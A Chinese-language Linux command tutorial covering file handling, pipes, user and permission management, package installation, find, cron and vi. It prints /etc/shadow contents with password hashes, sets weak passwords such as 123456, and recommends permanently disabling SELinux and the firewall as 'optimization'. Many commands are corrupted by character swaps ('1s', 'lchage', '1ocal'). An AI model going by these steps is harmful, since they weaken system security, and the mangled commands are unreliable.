1、远程连接Linux
# 查看ip地址: ip addr
# 远程登录Linux系统
ssh root@ip地址
# 断开连接
exit
# 重启系统
reboot
# 立即关机
shutdown -h now
# 十分钟之后关机
shutdown -h 10
2、文件操作
# 切换目录
cd # 全称change directory
# 例如:
cd local # 切换到子目录local
cd /usr/local # 切换到目录/usr/local
cd ..
# 打印当前工作目录
pwd
# 新建文件
touch
# 例如:
touch 1.txt # 创建单个
touch test{01..10}.txt # 批量创建文件
touch /root/4.txt # 在指定的/root目录下,创建文件4.txt
# 查看目录下文件
ls # 全程list
# 例如:
ls test09.txt #查看test09.txt是否存在
ls *.txt # 查看以txt结尾的所有文件
ls -1 # 以一行一个文件的方式显示
ls -a al # 查看所有文件,包括隐藏文件
la -a -1 # 查看所有文件,以一行一个来显示
以"."开头的文件是隐藏文件,默认不显示
# 重命名
mv # 全称move
# 例如:
mv .123.txt 123.txt # 将.123.txt文件重命名为123.txt
mv 123.txt /opt # 将当前目录下的123.txt移动到/opt日录下
# 复制
cp # 全称copy
# 例如:
cp test0l.txt /opt/ # 将当前目录下的test01.txt复制到/opt日录下
cp -a dev04 /opt/ # 将目录dev04复制到/opt下
# 删除
例如:
rm /opt/123.txt # 将/opt目录下的123.txt文件删除,需要回复y确认删除
rm -f /opt/test01.txt # 将/opt目录下的test01.txt文件删除,不需要回复
# 删除一个目录,1inux的参数大部分没有先后顺序
rm -fr dev
rm -rf dev01
rm -f -r dev02
rm -r -f dev03
# 创建文件夹 创建目录directory
mkdir # 全称make directory
# 例如:
mkdir dev #创建一个dev目录
mkdir dev{01..10} #批量创建多个目录
mkdir-p1/2/3/4/5/6 #一次性创建多级子目录
# vi编辑器
# 例如:
vi test03.txt #编辑文件test03.txt
默认是常规模式,按ioa键进入编辑模式
在编辑模式中按esc回到常规模式
常规模式按:进入命令模式
命令模式按esc回到常规模式
# 从上往下顺序查看文本内容
cat
# 例如:
cat test03.txt # 查看test03.txt的全部内容
# 从下往上倒着查看文本内容
tac
# 例如:
tac test03.txt # 倒着查看test03.txt的全部内容
#查看文件倒数几行
tail
# 例如:
tail test03.txt # 查看文件的倒数十行,默认
tail -n -5 test03.txt # 查看文件的倒数5行
tail -5 test03.txt # 查看文件的倒数5行
3、管道
root@stara-virtual-machine:~/桌面# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:6a:66:d1 brd ff:ff:ff:ff:ff:ff
altname enp2s1
inet xxx.xxx.xx.xxx/24 brd 192.168.88.255 scope global dynamic noprefixroute ens33
valid_lft 1775sec preferred_lft 1775sec
inet6 fe80::8d8b:3f4f:84e8:490f/64 scope link noprefixroute
valid_lft forever preferred_lft forever
root@stara-virtual-machine:~/桌面# ip addr|tail -4
inet xxx.xxx.xx.xxx/24 brd xxx.xxx.xx.xxx scope global dynamic noprefixroute ens33
valid_lft 1631sec preferred_lft 1631sec
inet6 fe80::8d8b:3f4f:84e8:490f/64 scope link noprefixroute
valid_lft forever preferred_lft forever
root@stara-virtual-machine:~/桌面# ip addr|tail -4|head -1
inet xxx.xxx.xx.xxx/24 brd xxx.xxx.xx.xxx scope global dynamic noprefixroute ens33
root@stara-virtual-machine:~/桌面# ip addr|tail -4|head -1|cut -c 10-19
xxx.xxx.xx
4、目录结构
相对路径:从所在目录开始
绝对路径:从根开始
# 以树状的显示指定目录下的自录和文件的名称
tree
# 例如:
tree /usr/1oca1
/bin # 存放二进制的可执行文件,命令,特别重要,不能删除!
/boot # 开机启动需要的文件,特别重要,不能删除!
/dev # device设备文件,特别重要,不能删除!
/etc # 存放配置文件,特别重要,不能删除!
/home # 普通用户的家目录
/1ib # library 32位库,一般是so结尾,特别重要,不能删除!
/1ib64 # 1ibrary 64位库,一般是so结尾,特别重要,不能删除!
/media # 多媒体(音乐 视频 文档)
/mnt # mount挂载光盘,U盘
/opt # 部分软件安装存储目录
/proc # process进程,特别重要,不能删除!
/root # root用户的家目录,特别重要,不能删除!
/run # 运行,程序运行的时候产生的文件
/sbin # super bin超级用户才能使用的命令,特别重要,不能删除!
/srv # 源代码
/sys # system系统目录,特别重要,不能删除!
/tmp # 用来存放临时文件的看录
/usr # 用户级的目录,特别重要、不能删除
/var # variable 变化的文件,特别重要,不能删除!
# 统计
wc
wc -l # 按行统计,不会单独使用,需要接在管道后面
# 例如:
cat test03.txt |wc -l
cat -n test03.txt
# 生成数字序列
seq
# 例如:产生一个5-12的序列
seq 5 12
# 例如:产生一个5-12等宽的序列
seq -w 5 12
# 演示如下:
root@stara-virtual-machine:~/桌面# seq 5 12
5
6
7
8
9
10
11
12
root@stara-virtual-machine:~/桌面# seq -w 5 12
05
06
07
08
09
10
11
12
# 按行过滤字符串
grep
# 例如:普通过滤
grep '3' test03.txt
# 例如: 显示行号
grep -n '3' test03.txt
grep精准匹配-w
# 按列过滤
awk
# 例如1:取列,$1代表第一列,$2代表第二列,$NF代表最后一列
[root@localhost ~]# cat test01.txt
row 1, cell 1 row 1, cell 2
row 2, cell 1 row 2, cell 2
[root@localhost ~]# awk '{print $1}' test01.txt
row
row
[root@localhost ~]# awk '{print $2}' test01.txt
1,
2,
# 例如2:以逗号,做分隔符
[root@localhost ~]# cat test01.txt
row 1, cell 1 row 1, cell 2
row 2, cell 1 row 2, cell 2
[root@localhost ~]# awk -F ',' '{print $1}' test01.txt
row 1
row 2
[root@localhost ~]# awk -F ',' '{print $NF}' test01.txt
cell 2
cell 2
# 排序
sort
# 例如:
[root@localhost ~]# cat test02.txt
3
2
6
4
8
7
5
3
2
1
2
3
4
5
6
9
1
5
7
[root@localhost ~]# cat test02.txt|sort -n
1
1
2
2
2
3
3
3
4
4
5
5
5
6
6
7
7
8
9
# 统计去重
uniq
# 例如:
[root@localhost ~]# cat test02.txt|sort -n
1
1
2
2
2
3
3
3
4
4
5
5
5
6
6
7
7
8
9
[root@localhost ~]# cat test02.txt|sort -n|uniq -c
2 1
3 2
3 3
2 4
3 5
2 6
2 7
1 8
1 9
5、用户和用户组管理
# 创建用户
useradd
# 创建一个用户
# 例如1:
useradd test1
# 创建用户,并给用户指定用户组
# 例如2:
[root@localhost tmp]# useradd -g test1 test3
[root@localhost tmp]# id test3
uid=1002(test3) gid=1000(test1) 组=1000(test1)
# 设置密码
passwd
# 例如1:passwd test1
# 用root用户给普通用户修改密码
[root@localhost ~]# passwd test1
更改用户test1的密码
新的密码:123456
无效的密码:密码是一个回文
重新输入新的密码:123456
passwd:所有的身份验证令牌已经成功更新。
# 例如2:普通用户自己修改密码
[test1@localhost ~]$ passwd
更改用户test1 的密码。
为test1更改STRESS密码。
(当前)UNIX 密码:
新的密码:
无效的密码:密码少于8个字符
新的密码:
无效的密码:密码少于8个字符
新的密码:
无效的密码:密码未通过字典检查-过于简单化/系统化
passwd:已经超出服务重试的最多次数
123@qq.com
# 例如3:交互修改密码
echo 123456|passwd --stdin test1
# 检查用户是否存在
id
# 例如:用户存在,系统的返回结果
[root@localhost ~]# id test1
uid=1000(test1) gid=1000(test1) 组=1000(test1)
[root@localhost ~]# id test2
id:test2:no such user
# 删除用户
userdel
# 例如:
# 被删除的用户还在登录状态
[root@localhost ~]# userdel test1
userdel:user test1 is currently used by process 2356
# 被删除的用户,退出登录之后,可以正常删除
[root@localhost ~]# userdel test1
# 修改用户信息
usermode
# 锁定用户
# 例如:
[root@localhost ~]# usermod -L test1
[root@localhost ~]# lchage -l test1
账号被锁
至少:0
之多:99999
警告:7
不活跃:从不
最后一次改变:2021年07月20日
密码过期:从不
密码不活跃:从不
账号过期:从不
# 禁止用户登录
[root@localhost ~]# usermod -s /sbin/nologin test2
[root@localhost ~]# grep -w 'test2' /etc/passwd
test2:x:1001:1001::/home/test2:/sbin/nologin
# 查看用户详细信息
lchage
# 例如:
[root@localhost ~]# lchage -l test1
账号没被锁。
至少:0
之多:99999
警告:7
不活跃:从不
最后一次改变:2021年07月20日
密码过期:从不
密码不活跃:从不
账号过期:从不
所有的用户信息存储在/etc/passwd文件中:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:1p:/var/spoo1/1pd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mai1:x:8:12:mai1:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nplogin
dbus:x:81:81:system message bus://sbin/nologin
polkitd:x:999:998:user for polkitd;/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd
daemon:/dev/nu11:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spoo1/postfix:/sbin/nologin
chrony:x:998:996::/var/1ib/chrony:/sbin/nologin
test1:x:1000:1000::/home/test1:/bin/bash
# passwd文件注释
root:x:0:0:root:/root:/bin/bash
test1:x:1000:1000::/home/test1:/bin/bash
test2:x:1001:1001::/home/test2:/sbin/nologin
test3:x:1002:1000::/home/test3:/sbin/nologin
haha:x:1004:1004:putong user:/home/haha:/bin/bash
第一列:用户名
第二列:x
第三列:uid
第四列:gid
第五列:注释,一般为空
第六列:家目录的位置
第七列:使用she11的名称,默认使用/bin/bash
所有的用户密码信息存储/etc/shadow
[root@localhost ~]# cat/etc/shadow
root:$6$QM3AHtFf1ovGbcnt$2wTYzrn08c66vycaxprE79G.I7hiy8EqXntG86FXxq1SawjtKoTjAnAa9xFA3ad1QpFskIRPt0QeDPBnZZAdx0::0:99999:7:::
bin:*:18353:0:99999:7:::
daemon:*:18353:0:99999:7:::
adm:*:18353:0:99999:7:::
1p:*:18353:0:99999:7:::
sync:*:18353:0:99999:7:::
shutdown:*:18353:0:99999:7:::
halt:*:18353:0:99999:7:::
mai1:*:18353:0:99999:7:::
operator:*:18353:0:99999:7:::
games:*:18353:0:99999:7:::
ftp:*:18353:0:99999:7:::
nobody:*:18353:0:99999:7:::
systemd-network:!!:18827::::::
dbus:!!:18827::::::
polkitd:!!:18827::::::
tss:!!:18827::::::
abrt:!!:18827::::::
sshd:!!:18827::::::
postfix:!!:18827::::::
chrony:!!:18827::::::
test1:$6$7PLnh1cr$4sCHINbwrameVsn6rxYgDOeUBWYOHVbEOIUdtNXWXI15ULSt10m8FVK6R3s9fI0qNef1vq8NhvMNJwudmfkM1:18828:0:99999:7::;
6、权限管理
root用户权限最高
user普通用户
users用户组
文件权限
r 4 代表读权限 read
w 2 代表写权限 write
x 1 代表执行权限
- 0 空权限位
权限值表
0 ---
1 --X
2 -W-
3 -WX
4 r--
5 r-x
6 rw-
7 rwX
rw- r-- r--
user group other
# 改变文件的权限
chmod
# 例如1:
# 修改权限之前
[testl@localhost tmp]$ 1s-l
总用量 4
-rw-rw----. 1 test1 test1 8 7月 20 17:20 test1.txt
# 修改权限
[testl@localhost tmp]$ chmod u+x testl.txt
#修改权限之后
[testl@localhost tmp]$ 1s -l
总用量4
-rwxrw----. 1 testl test1 8 7月 20 17:20 test1.txt
# 例如2:
# 同时修改多个权限
[testl@localhost tmp]$ chmod u-x,g-x,o+x test1.txt
[testl@localhost tmp]$ 1s -l
总用量 4
-rw-rw---x. 1 testl testl 8 7月 20 17:20 test1.txt
# 例如3:
[testl@localhost tmp]$ chmod 777 test1.txt
[testl@localhost tmp]$ 1s -l
总用量 4
-rwxrwxrwx. l testl test1 8 7月 20 17:20 test1.txt
# 修改文件的所属
chown
# 例如1:
[root@ocalhost tmp]# chown test2:test2 1s
[root@localhost tmp]# 1s-1
总用量404
-rwxr-xr-x. 1 test2 test2 159024 7月 20 17:43 grep
-rwxr-xr-x. 1 test2 test2 117608 7月 20 17:38 1s
-rwxr-xr-x. 1 test1 test1 130360 7月 20 17:43 mv
-rw-rw-rw-. 1 test1 test 14 7月 20 17:38 test1.txt
[root@localhost tmp]# 1s -l
总用量 404
-rwxr-xr-x. 1 test2 test2 159024 7月 20 17:43 grep
-rwxr-xr-x. 1 test1 test2 117608 7月 20 17:38 ls
-rwxr-xr-x. 1 test1 test1 130360 7月 20 17:43 mv
-rw-rw-rw-. 1 test1 test1 14 7月 20 17:38 test1.txt
# 使用uid和gid修改文件的所属用户和所属用户组属主,属组例子2:
[root@localhost tmp]# 1s -l
总用量 404
-rwxr-xr-x. 1 test2 test2 159024 7月 20 17:43 grep
-rwxr-xr-x. 1 test1 test2 117608 7月 20 17:38 1s
-rwxr-xr-x. 1 test1 test1 130360 7月 20 17:43 mv
-rw-rw-rw-. 1 test1 test1 14 7月 20 17:38 test1.txt
[root@localhost tmp]# id test1
uid=1000(test1) gid=1000(test1) 组=1000(test1)
[root@localhosttmp]# id test2
uid=1001(test2) gid=1001(test2) 组=1001(test2)
[root@localhosttmp]# useradd -g test1 test3
[root@localhost tmp]# id test3
uid=1002(test3) gid=1000(test1) 组=1000(test1)
[root@localhost tmp]# chown 1001:1001 test1.txt
[root@localhost tmp]#1s -1
总用量 404
-rwxr-xr-x. 1 test2 test2 159024 7月 20 17:43 grep
-rwxr-xr-x. 1 test1 test2 117608 7月 20 17:38 1s
-rwxr-xr-x. 1 test1 test1 130360 7月 20 17:43 mv
-rw-rw-rw-. 1 test2 test2 14 7月 20 17:38 testl.txt
文件属性
#文件属性
[root@localhost ~]#1s -1 /tmp/123.txt
-rw-r--r--. 1 root root 0 7月 20 23:17 /tmp/123.txt
# 第一段的第一个字符,表示文件类型 -文件 d目录 l软链接 b块设备
# 第一段第2-4字符,表示该文件所属用户的权限
# 第一段第5-7字符,表示该文件所属用户组的权限
# 第一段第8-10字符,表示其他用户对该文件的权限
# 第一段的第11个字符,表示开启selinux的状态下创建的
# 第二段的数字,表示该文件的硬链接数量
# 第三段的字符串,表示该文件所属用户
# 第四段的字符串,表示该文件所属用户组
# 第五段的数字,表示该文件的大小
# 第六段到倒数第二段,都是该文件的修改时间
# 最一段,该文件的名称
7、Linux Shell
优化ssh登录速度
#修改配置文件,先备份
[root@localhost ~]# cp /etc/ssh/sshd_config /tmp/
[root@localhost ~]# vi /etc/ssh/sshd_config
#直接输入:79回车
79 GSSAPIAuthentication no
115 useDNS no
输入:wq保存退出
# 重启sshd服务
root@localhost ~]# systemctl restart sshd
# 如果修改失败,还原配置文件
[root@localhost ~]# cp /tmp/sshd_config /etc/ssh/sshd_config
[root@localhost ~]# systemctl restart sshd
shell提示符
#root用户提示符[root@localhost ~]#
#普通用户test1的提示符
[test1@localhost ~]$[用户名@主机名 所在目录]#
#提示符格式定制
原格式
[root@test ~]# echo $Ps1[\u@\h\w]\$ #\u是用户,\h是主机名,\w是相对路径修改后
[root@test ~]#cd /usr/1ocal/bin/[root@test bin]#export Psl='[\u@\h \w]\$[root@test /usr/local/bin]#
#永久修改
[root@test 10:23:39 /usr/loca1/bin]#cd[root@test 10:24:25 ~]#vi .bashrc#找个空白的地方,插入一行
export psl='[lu@\h it \w]\s
#x可以参考https://www.cnblogs.com/Q--T/p/5394993.htm1
Linux路径
相对路径不完整路径,例子…/bin ./bin bin
绝对路径也叫完整路径,例子/usr/local/bin/
命令hostname
# 临时修改主机名
hostname
# 例如:
[root@localhost ~]# hostname test
# 需要重新登录生效
命令hostnamectl
hostnamectl
#查看主机的信息
[root@localhost ~]# hostnamect1
static hostname:1ocalhost.1ocaldomain
Icon name:computer-vm
Chassis:wm
Machine ID:f8a89169114741a8ac6de82954c5fbcb
Boot ID:dcf65386ccda42e29699d56101af8cf1
Virtualization:vmware
Operating System:centos Linux7Core)
CPE 0S Name:cpe:/o:centos:centos:7
Kernel:Linux 3.10.0-1127.e17.x86_64
Architecture:x86-64
#永久修改主机名
[root@localhost ~]# hostnamectl set-hostname test
# 需要重新登录生效
命令reboot
# 重启系统
reboot
# 例如:
[root@test~]# reboot
命令shutdown
#关闭或者重启1inux
shutdown
# 例如1:
#立即关机
[root@localhost ~]# shutdown -h now
# 例如2:
#5分钟之后关机,可以使用shutdown-c取消
[root@localhost ~]# shutdown -h 5
# 例如3:
#5分钟之后重启系统,可以使用shutdown-c取消
[root@1ocalhost ~]# shutdown -r 5
shell基础语法
目标 命令 参数
1s -a -1 /opt
rm -rf /opt/test1
命令 目标1.. 目标2
mw 源路径 目标路径
Cp
命令
reboot
[root@test 11:12:02/opt]# mv--help
用法:mv[选项]...[-T]源文件 目标文件
或:mv[选项]...源文件..目录
或:mV[选项]...-t 目录 源文件...
#格式解释
[选项] 可选的参数
...可以有多个
快捷键
ctrl + a # 光标跳转至正在输入的命令行的首部
ctrl + e # 光标跳转至正在输入的命令行的尾部
ctrl + c # 终止前台运行的程序
ctrl + d # 在she11中,ctr1-d表示推出当前she11。
ctrl + z # 将任务暂停,挂至后台,执行fg命令继续运行
ctrl + l # 清屏,和clear命令等效。
ctrl + k # 删除从光标到行末的所有字符
ctrl + u # 删除从光标到行首的所有字符
ctrl + r # 搜索历史命令,利用关键字
ctrl + w # 光标往前删除一个参数
esc + . # 上一条命令的最后一个参数,或者目标
history历史命令
history
# 例如1:
[root@test 14:32:10~]# history
1 exit
2 1s
3 head -1 test03.txt
4 head -l test03.txt|cat
5 head -l test03 txt|tac
6 head -2 test03.txt|tac
7 head -2 test03.txtlcat
8 ip addr
9 ip addr|tail -4
10 ip addr|tai1 -4|head -1
.....
# 例如2:
# 使用!调用历史命令
[root@test 14:32:10~]# history|head -5
1 exit
2 1s
3 head -1 test03.txt
4 head -1 test03.txt|cat
5 head -1 test03.txt|tac
[root@test 14:32:26~]# !3
head -1 test03.txt
head:无法打开"test03.txt"读取数据:没有那个文件或目录
# 例如3:
#使用!调用mv开头的命令
[root@test 14:42:17 ~]# history
1 1s -a- .bash_history
2 history
3 1s
4 history
5 mv aaaaa.txt /tmp/6 history
[root@test 14:42:19 ~] #!mv
mv aaaaa.txt /tmp/
mv:无法获取"aaaaa.txt"的文件状态(stat):没有那个文件或目录
# 例如4:
#清除历史记录
history -c
删除主文件夹下面.bash_history
历史记录保存在家目录下的.bash_history文件中
命令别名(花名)
# 别名
alias
# 例如1:
# 查看别名
[root@test 15:23:17 ~]# alias
alias cp='cp -i'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias 1.='1s -d .* --color=auto'
alias 11='1s -1--color=auto'
alias 1s='1s --color=auto'
alias mv='mv -i'
alias rm='rm -i'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
# 例如2:
# 添加别名
[testl@test 15:24:23~]$alias rm='rm -i'
[testl@test 15:27:08~$alias grep rm
alias rm='rm -i'
# 例如3:
# 取消别名
[testl@test 15:27:13 ~]$unalias rm
[testl@test 15:27:47~]$alias |grep rm
# 例如4:
# alias永久生效
[root@localhost ~]# vi .bashrc
#空白处,增加一行
alias rm='echo -bash:rm:未找到命令'
8、Linux输入输出重定向
输入
< 输入重定向
<< 输入追加重定向
# 标准输入0
输出
> 输出重定向,将命令执行结果不输出到屏幕上,输出到文件里,会清空原文件
>> 输出追加重定向,不会清空原文件
# 标准正确输出重定向1
# 标准错误输出重定向2
9、Linux压缩打包
# 打包和解压缩
tar
# 例如1:
# 归档,不压缩
tar -cf test.tar vmlinuz-*
# 例如2:
# 压缩并归档
tar -zcf test2.tar.gz vmlinuz-*
# 例如3:
# 查看压缩包内容
[root@localhost ~l# tar -tf test.tar
vm1inuz-0-rescue-f8a89169114741a8ac6de82954c5fbcb
vmlinuz-3.10.0-1127.e17.x86_64
# 例如4:
#解压缩
tar -xf test.tar
# 打包和压缩
gzip
# 压缩单个文件
gzip protocols
# 压缩多个文件,每一个文件产生一个单独的压缩包
gzip hosts passwd shadow
# 解压缩
gzip -d hosts.gz passwd.gz protocols.gz shadow.gz
# 压缩
zip
# 例如:
zip -r 123.zip day01
# 解压
unzip
# 例如:
[root@localhost file]# unzip 123.zip
# 解压rar包
# 需要安装软件
yum insta1l epel-release -y
yum install unar -y
#再进行解压
unar -o /opt 456.rar
# 下载文件
cur]
# 例如:
#下载文件
cur1 -o 123.zip http://192.168.18 10/day01.zip
#检查网络畅通
ping
# 例如:
ping 223.5.5.5
#如果网不通,重启网络服务
systemctl restart network
查看文件类型file
#查看文件类型
file
# 例如:
file 123.zip
10、文件传输
# 上传和下载
rz #上传
Sz #下载
# 先安装1rzsz软件包
yum install lrzsz-y
# 上传的例子
如果使用xshe11,直接鼠标拖拽,或者执行rz-E选择要上传的文件
# 下载的例子
sz /root/test3.tar.gz
xftp上传下载
scp传输
# 主要用于]inux和]inux服务器之间传输文件
# 把本地文件推送到远程服务端scp typora-setup-x64.exe root@10.0.0.128:/tmp
# 把远端服务文件拉取到本地
scp root@10.0.0.128:/tmp/typora-setup-x64.exe .
11、软件的安装
编译安装
1.下载源码包
cd /opt/
rm -fr *
cur1 -o nginx.tar.gz http://nginx.org/download/nginx-1.20.1.tar.gz
2.编译
tar xf nginx.tar.gz
cd nginx-1.20.1/
# 编译參数
./configure --prefix=/usr/1oca1/nginx --without-pcre --without-http_rewrite_module --without-http_gzip_module
# 编译
make
# 安装
make install
3.运行
/usr/loca1/nginx/sbin/nginx
# 使用浏览器访问http://<虛拟机的ip地址>
# 关闭防火墙
systemct1 stop firewalld
# 取消防火墙的开机自启
systemctl disable firewalld
rpm安装
# redhat package manager包管理器
# 安装wget
yum insta1l wget-y
# 使用wget下载rpm包
wget https://mirrors.tuna.tsinghua.edu.cn/centos/7/os/x86_64/Packages/tree-1.6.0-10.e17.x86_64.rpm
# 安装rpm包
rpm -ivh tree-1.6.0-10.e17.x86_64.rpm
# 卸载
rpm -e tree
# 升级
rpm -Uvh xxx.rpm
# 查看已安装的软件
rpm -qa|grep httpd
yum安装
# 自动解决rpm依赖
# yum安装扩展yum仓库
yum install epel-release -y
# yum安装nginx
yum install nginx -y
# yum移除nginx
yum remove nginx-y
# 查看仓库rpm的数量
yum repolist
安装方法总结
编译安装:优点:自由定制 痛点:难度高,步骤繁琐
rpm安装:优点:安装简单 痛点:需要自己解决依赖,不支持定制
yum安装:优点:自动解决依赖,默认安装最新版 痛点:不支持定制
12、find文件查找
# 文件查找
# 例如1:普通查询
find /etc -maxdepth 1 - type f -name "pa*"
命令 目录... 查找深度 类型 文件名称包含
# 例如2:按照文件大小查找(单位kMG)
# 查找大于100M的文件
find /-type f -size +100M
# 查找小于2k的文件
find /root/nginx-1.20.2 -type f-size -2k
# 查找大于50M同时小于100M的文件
find /-typef -size +50M -and- size -100M
# 例如3:
# 忽略大小写查询
find /etc -maxdepth 1 -iname "pa*"
# 例如4:
# 根据修改时间查找文件
# 时间参数:atime mtime ctime aminmmincmin
# 时间单位为天
find /opt -type f-mtime -1 #-1代表一天以内,+1一天以前
# 时间单位为分钟
[root@localhost ~]#find /root -type f -mmin -20
/root/.bash_history
/root/ReadMe .txt
/root/.1esshst
# 例如5:
# 取反
# 例如6:
# 对找出的文件进行处理
find /root -type f-mmin -30 ! -name ".*" -exec rm {} \;
find /root -maxdepth 1 -type d -name "Apa*" -mmin -30 -exec cp -a {} /tmp\;
13、进程管理
进程:正在运行的程序
# 查看进程
ps
参数1:ps -ef
# 关闭进程
kill
# 例如: ki11 7851 # 使用进程id号,来终止进程
ki11 -9 pid号 # 慎用!!!
pkill
例如:pki11 sleep #使用进程的命令名称,来终止进程
pki11 -9 sleep
# 查看计算机的cpu,内存,进程等信息(windows任务管理器)
top
# 查看内存命令
free -h
# 查看硬盘命令
df -h
# 查看cpu
1scpu
15、定时任务
定期执行任务(执行命令)
# 时间命令
date
# 例如1:
# 查看时间
[root@localhost ~]# date
2021年 07月 23日 星期五 14:38:19 CST
[root@localhost ~]# date +%F
2021-07-23
[root@localhost ~]# date +%T
14:35:47
[root@localhost tmp]# date +%F\%T
2022-01-11 10:07:50
# 例如2:
# 修改时间
[root@localhost ~]# date -s'20200723 14:40:00‘
2020年 07月 23日 星期四 14:40:00 CST
#同步时间
systemctl restart chronyd
# 定时任务的格式
* * * * * cmd
分 时 日 月 周 命令
分:0-59
时:0-23
日:0-31
月:1-12
周:1-7
# 每5分钟执行一次
*/5 * * * *
# 每1小时执行一次
01 */1 * * *
# 每半个小时执行一次
00,30 */1 * * *
# 每天晚上8:00执行一次
00 20 * * *
# 每周1晚上8:00执行一次
00 20 * * 1,3,5
# 查看定时任务,遇到特殊符号%,需要添加转义符号\;
[root@localhost ~]#crontab -l
* * * * * echo 'date+\%T'>>/tmp/time.txt
# 编辑定时任务
[root@localhost ~]# crontab -e
如果定时任务的格式,或者内容有问题,系统都会发邮件提示
16、优化系统
1.优化ssh
vi /etc/ssh/sshd_config
79行:GSSAPIAuthentication no
115行:UseDNS no
systemct restart sshd
2.优化selinux
#修改配置文件,永久关闭
vi /etc/selinux/config
#第7行修改为
SELINUX=disabled
需要重启生效
#立即生效,临时的
setenforce 0
3.关闭firewa11d
systemctl stop firewalld
systemctl disable firewa1ld
4.安装常用软件
yum instal1 1rzsz vim tree wget net tools screen tcpdump bash-completion -y
17、进程管理
服务管理
# 查看所有服务列表
systemctl 1ist-unit-files
# 启动服务
systemctl start httpd # start启动停止服务
systemctl stop httpd # stop停止
# 重启服务
systemctl restart httpd # restart重启
# 查看服务状态
systemctl status httpd # 查看服务状态
# 把服务设置为开机启动
systemctl enable httpd.service
# 取消服务的开机自启
systemctl disable httpd.service
18、快捷分类
1、移动光标
h, j, k, l
左, 下, 上, 右
Ctrl-F:下翻一页
Ctrl-B:上翻一页
Ctrl-U:上翻半页
Ctrl-d:下翻半页
0:跳至行首,不管有无缩进,就是跳到第0个字符
^:跳至行首的第一个字符
$:跳至行尾
gg:跳至文首
G:调至文尾
5gg/5G调至第5行
2、删除复制
x:删除单个字符
dd:删除光标所在行,#使用u撤销,使用Ctrl+R恢复
6dd:从光标开始往下删除6行
dW:删除一个单词(word)
p:粘贴粘贴板的内容到当前行的下面
P:粘贴粘贴板的内容到当前行的上面
yy:复制行
5yy:复制5行
3、搜索和替换
/pattern向后搜索字符串pattern # 辅助n和N
?pattern向前搜索字符串pattern # 辅助n和N
:%s/old/new/g搜索整个文件,将所有的old替换为new
:%s/old/new/gc搜索整个文件,将所有的old替换为new,每次都要你确认是否替换
4、退出编辑器
:w将缓冲区写入文件,即保存修改
:WQ保存修改并退出
:x保存修改并退出
:q退出,如果对缓冲区进行过修改,则会提示
:q!强制退出,放弃修改
19、Linux特殊符号
;命令的分隔符
例如:
[root@localhost ~]# touch 111.txt;chmod 777 111.txt
[root@localhost ~]# ll 111.txt
-rwxrwxrwx 1 root root 0 9月 12 04:40 111.txt
..代表上级目录
例如:
[root@localhost ~]# pwd
/root
[root@localhost ~]# cd ..
[root@localhost /]# pwd
/
.代表当前目录
例如:
[root@localhost opt]# cp /data/man_db.conf .
[root@localhost opt]# ls
man_db.conf
""双引号,换行,解析变量
''单引号,换行,不解析变量
变量,值是不固定的
常量,值是固定
\ 转义符,反斜杠
/ 路径分隔符
` 反引号(ESC 下边的按钮)
例如:
[root@localhost opt]# touch test_`date +%T`.txt
[root@localhost opt]# ls test_04\:56\:22.txt
test 04:56:22.txt
! 历史命令调用
* 通配符
$ 调用变量
例如:
root@stara-virtual-machine:~/桌面# export LANG='en_US.UTF-8'
root@stara-virtual-machine:~/桌面# echo $LANG
en_US.UTF-8
root@stara-virtual-machine:~/桌面# stat 1.txt
文件:1.txt
大小:27 块:8 IO 块大小:4096 普通文件
设备:803h/2051d Inode:669435 硬链接:1
权限:(0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
访问时间:2024-11-14 16:22:54.863895859 +0800
修改时间:2024-11-14 16:22:54.863895859 +0800
变更时间:2024-11-14 16:22:54.864896003 +0800
创建时间:2024-11-14 16:22:54.863895859 +0800
root@stara-virtual-machine:~/桌面# export LANG='zh_CN.UTF-8'
root@stara-virtual-machine:~/桌面# stat 1.txt
文件:1.txt
大小:27 块:8 IO 块大小:4096 普通文件
设备:803h/2051d Inode:669435 硬链接:1
权限:(0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
访问时间:2024-11-14 16:22:54.863895859 +0800
修改时间:2024-11-14 16:22:54.863895859 +0800
变更时间:2024-11-14 16:22:54.864896003 +0800
创建时间:2024-11-14 16:22:54.863895859 +0800
> 输出重定向
>> 追加输出重定向
< 输入重新定向
<< 追加输入重定向
| 管道
|| 第一个命令失败,才执行第二个命令
&& 和,一起执行
& f
~ 代表家目录
20、三剑客和正则表达式
1、grep
# 擅长过滤
# grep参数
-n 行号
-c 对结果行计数
-i 不区分大小写
-v 反向搜索,取反
-w 精准匹配
-o 只显示匹配的结果
-A1 同时打印搜索结果行的后一行
-B3 同时打印搜索结果行的前三行
-C2 同时打印搜索结果行的上下各两行
-E 扩展正则表达式
-P 使用per1正则
2、sed
# 擅长修改
用法:sed [-nri] [动作] 目标文件文件
选项与参数:
-n :使用安静(silent)模式。在一般 sed 的用法中,所有来自 STDIN 的数据一般都会被列出到终端上。但如果加上-n 参数后,则只有经过sed 特殊处理的那一行(或者动作)才会被列出来。
